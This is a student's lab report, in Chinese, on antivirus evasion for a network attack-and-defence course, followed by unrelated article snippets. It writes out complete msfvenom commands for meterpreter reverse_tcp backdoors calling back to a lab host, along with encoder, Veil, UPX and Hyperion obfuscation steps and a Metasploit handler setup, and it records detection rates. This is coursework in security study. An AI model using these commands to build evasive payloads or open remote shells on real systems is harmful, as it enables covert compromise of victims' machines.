20232429 马成栋 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

问题回答:

(1)杀软是如何检测出恶意代码的?
1.特征码检测,2.行为分析检测,3.启发式检测。
(2)免杀是做什么?
免杀本质是“让恶意代码绕过杀软检测的技术手段”,但需明确其合法边界。
(3)免杀的基本方法有哪些?
1.修改特征码,2.隐藏恶意行为,3.降低可疑度

2.实验过程

  • 使用的评价免杀效果平台https://www.virustotal.com/gui/home/upload

2.1使用msfvenom直接生成一个后门程序

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.131 PORT=2429 -f exe > met20232429.exe生成一个后门程序met20232429.exe

1.1

  • 使用virustool检测文件的安全性

1.1

可以看出安全性并不高。

2.2Msfvenom使用编码器

2.2.1生成exe文件和编码的exe文件

  • 通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.79.131 LPORT=2429 -f exe > met20232429_2.exe,生成一个恶意文件

1.2

  • 使用virustool查看这个文件的安全性

1.2

可以看到有44/72的检测率

  • 通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.79.131 LPORT=2429 -f exe > met20232429_3.exe,对文件进行10次编码

1.3

  • 使用virustool查看这个文件的安全性

1.3

可以看到这次是42/70的检测率,免杀作用很差

2.2.2生成jar文件和编码的jar文件

  • 通过命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.79.131 LPORT=2429 x>metjar20232409.jar生成一个.jar的恶意文件

1.4

查看这个.jar文件的免杀效果

1.4

可以看到.jar的文件是35/64的检测率

  • 通过命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.79.131 LPORT=2429 x>met-encode-jar20232429.jar,生成一个编码过10次的.jar包

1.5

查看这次的.jar文件的检测率

1.5

可以看到是35/64,和之前的免杀效果一样。

2.2.3生成php文件和编码的php文件

  • 利用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.79.131 LPORT=2429 x> metphp_20232429.php,将恶意代码写成.php文件

1.6

这个文件的免杀检测率如图

1.6

25/62,可以看出比之前的方式都好一点

  • 这次使用msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.79.131 LPORT=2429 x> met_encoded10_php_20232429.php生成10次编码的.php文件

1.7

来查看这个恶意软件的检测率

1.7

只有9/62可以看出来免杀效果还是比较好的

2.3使用veil免杀工具

2.3.1 下载安装veil

2

使用命令/usr/share/veil/config/setup.sh --force --silent运行Veil工具的初始化设置脚本用来安装veil

2

使用veil生成可执行文件

2

2

输入配置信息

2

set LHOST 192.168.79.131
set LPORT 2429
generate
payload20232409

生成可执行文件

2.6

检测veil生成可执行文件的免杀情况

2.6

并没有较高的免杀效果

C语言调用Shellcode

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.131 LPORT=2429 -f c将恶意代码嵌入到一个C语言程序中

  • 生成的恶意代码:

2.7

  • 编写C语言程序:

2.7

  • 通过命令i686-w64-mingw32-g++ shellcode_c_20232429.c -o shellcode_c_20232429.exe,将C文件编译为可执行文件

2.7

检测C语言调用Shellcode免杀情况

2.7

使用压缩壳UPX

  • 通过命令upx shellcode_c_20232429.exe -o shellcode_c_upx_20232429.exe

2.8

查看upx压缩的文件的检测率

2.8

使用加密壳Hyperion

  • 进入加密壳Hyperion所在文件夹并生成可执行文件

2.9

  • 查看使用加密壳Hyperion的检测率

2.9

发现检测率甚至挺高

2.4组合使用msfvenom工具与加壳技术

2.4.1 使用msfvenom工具

  • 通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.79.131 LPORT=2429 -f c > 20232429_shellcode_multi.c来生成10次编码的C语言shellcode。

3.1

  • 编写main函数

3.1

  • 编译为可执行文件

3.1

2.4.2使用压缩壳UPX

  • 通过命令upx 20232429_shellcode_multi.exe -o 20232429_shellcode_multi_2.exe给文件加上upx压缩

3.1

2.4.5使用加密壳Hyperion

  • 通过命令wine hyperion.exe -v 20232429_shellcode_multi_2.exe 20232429_shellcode_multi_3.exe给upx压缩过的文件加上加密壳。

3.1

2.4.6检测免杀效果

  • 使用upx压缩的文件免杀效果如图

3.1

检测率还是较高的。

  • 使用加密壳的文件的免杀效果

3.1

检测率比只用upx的还高。

  • 将文件20232429_shellcode_multi_2.exe和20232429_shellcode_multi_2.exe在关闭主机防火墙的情况下拖到主机文件夹当中检测

屏幕截图 2025-10-27 193150

发现被视为木马,使用的360版本如图

屏幕截图 2025-10-27 180001

2.5开启杀软回连实测

使用命令开始监视

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.79.131
set LPORT 2429
exploit

屏幕截图 2025-10-27 175852

在主机终端运行恶意软件

屏幕截图 2025-10-27 175455

发现被秒杀了,我甚至必须等360杀完之后才能在主机上进行其他操作

3.问题及解决方案

  • 问题:在安装veil时,安装失败了,输入veil并没有启动而是重新安装,情况如图:

问题

问题解决方法:

  • 重新安装veil,手动选择所有的next和finish,重装之后的veil能够正常运行了,应该是自动安装的过程中出现了一些问题。

4.学习感悟、思考等

  • 现在的杀毒软件非常的强大,不关防火墙在win11环境下恶意软件全部都是被秒杀,而且病毒库更新的也很快,我的步骤和毕悠尘同学一样但是因为做实验的时间差距,我的upx和加密壳的检测率就比她的高很多,让我意识到了网络安全和信息安全的重要性,要加强对恶意执行程序的实时监控并且更新病毒和漏洞库,不能像阿里云那样因为漏洞而导致存在信息泄露的风险,加强对漏洞和病毒的防范意识,努力学习免杀原理,目标是让“魔高一尺,道高一丈”。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/948159.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

做题记录 #4

A. P11364 树上查询 (7) 一开始想着直接转 dfn 好处理一个区间的 LCA,因为编号区间可以直接变成区间最大最小 dfn 中最小 dep。但是若是想要维护,很难不上一些笛卡尔树和单调栈。玩一玩想一想发现根本想不到一个性质…

扩散模型

论文:《Denoising Diffusion Probabilistic Models》(DDPM, NeurIPS 2020) 简述: (大白话) 训练阶段:首先是将图片一步步进行加noise,将每一步加入noise生成的像素图片进行去噪,目标是预测噪声;预测阶段:从…

20232303 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232303 2025-2026-1 《网络与系统攻防技术》实验三实验报告 1. 实验内容 本次实验的名称为免杀原理与实践,通过本部分内容的学习,能够掌握免杀原理与技术,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力…

《程序员修炼之道》阅读笔记2

书里反复强调,程序员不能把学习停留在 “够用就好” 的层面,因为技术行业的迭代速度太快了 —— 今天课堂上教的热门框架,可能几年后就会被更高效的工具替代;现在觉得 “用不上” 的底层原理,说不定哪天就成了解决…

算法分析--分治--1.二分搜索

难题被逐层拆解,每一次的拆解都使它变得更为简单。分而治之揭示了一个重要的事实:从简单做起,一切都不再复杂。 1.1 分治算法 分治 是一种非常常见的算法策略。 分:将整个问题划分为多个小问题。 治:从小问题开始…

衡量模型生成图片质量的指标

FID 是生成图像和真实图像在特征空间中的分布距离。(越小越好)1.FID 假设生成图像和真实图像在特征空间的分布都是高斯分布,然后计算这两个高斯分布的距离。 CLIP是什么?(对比语言图像预训练)它有image Encoder …

代码大全2 第一章 与第二章

看《代码大全 2》前两章,感觉像被人点醒了似的,之前对编程的理解太浅了。第一章直接说透,软件构建根本不是光敲代码就行,它跟前期琢磨需求、设计框架,还有后期测试都绑在一起,做得好不好直接影响软件能不能用久、…

面试谈薪资指南:掌握主动权的关键策略

前言 作为前大厂的技术总监,我见到过非常多的谈薪资表现,90%以上都不合格。有的漫天要价,有的临时变卦,有的丧失主动权,被牵着鼻子走,甚至还有反问HR"这个岗位的薪资预算是多少",企图打听出来企业最高…

CF2018B

CF2018B Speedbreaker 被*1900狠狠杀掉了麻麻,S组即将来临我真的没救了。。。。 考虑无解的情况,对于每一个时间 \(t\),找到能够包含所有 \(a_i\) 满足 \(a_i\leq t\) 的区间 \([l_t,r_t]\),意思就是在 \(t\) 的时…

10/27

太难了,要搭建一个真正的项目了,昨天英语作业系统故障没交上,下次交早点

第7天(中等题 滑动窗口)

打卡第七天 2道中等题class Solution { public:int equalSubstring(string s, string t, int maxCost) {int n = s.length();vector<int> diff(n, 0);//创建数组存储s和t对应位置字符的ASCII码差值for (int i = …

C++ 获取 const char* 字符串长度

C++ 获取 const char* 字符串长度C++ 获取 const char* 字符串长度 获取字符串长度的方法有哪些。 strlen strlen.c 源码如下 size_t strlen(const char *str) {const char *s;for (s = str; *s; ++s);return (s - str…

20251027——读后感2

面对多变的需求,可先做可丢弃的原型。比如要开发一个新的电商APP,先快速做个包含核心功能的简易原型,让用户试用后反馈,再基于此开发正式系统,避免在错误需求上浪费时间,就像盖房子先搭个简易框架看结构是否合理…

window[-INPUT-] 还有哪些属性或方法

在PySimpleGUI中,除了.update()方法外,window["-INPUT-"]等元素对象还支持以下属性和方法,按功能分类整理如下: 核心方法.get()功能:获取元素的当前值(如输入框内容、下拉菜单选中项等)。 示例:inpu…

DeepSeek-DSA讲解

1. MQA: Multi-Query Attention 多查询注意力机制 (MQA) 是 Transformer 中使用的传统多头自注意力机制(MHA)的一种变体。在传统的多头注意力机制中,每个注意力头都使用自己的一组查询、键和值,这可能需要大量计算,…

【转载】‘tensorrt.tensorrt.Builder‘ object has no attribute ‘build_cuda_engine‘

【转载】‘tensorrt.tensorrt.Builder‘ object has no attribute ‘build_cuda_engine‘问题简述: AttributeError: tensorrt.tensorrt.Builder object has no attribute build_cuda_engine 原因: tensorrt版本大于…

C#/.NET/.NET Core技术前沿周刊 | 第 59 期(2025年10.20-10.26)

前言 C#/.NET/.NET Core技术前沿周刊,你的每周技术指南针!记录、追踪C#/.NET/.NET Core领域、生态的每周最新、最实用、最有价值的技术文章、社区动态、优质项目和学习资源等。让你时刻站在技术前沿,助力技术成长与…

Python write to file and read from file

import uuid import datetime import timedef get_uuid_time():return (f"{uuid.uuid4().hex}_____{datetime.datetime.now().strftime("%Y%m%d%H%M%S%f")}")def get_time():return (f"{date…

Experiment3

Task1 #include <stdio.h> char score_to_grade(int score); // 函数声明 int main() {int score;char grade;while(scanf("%d", &score) != EOF) {grade = score_to_grade(score); // 函数调用pr…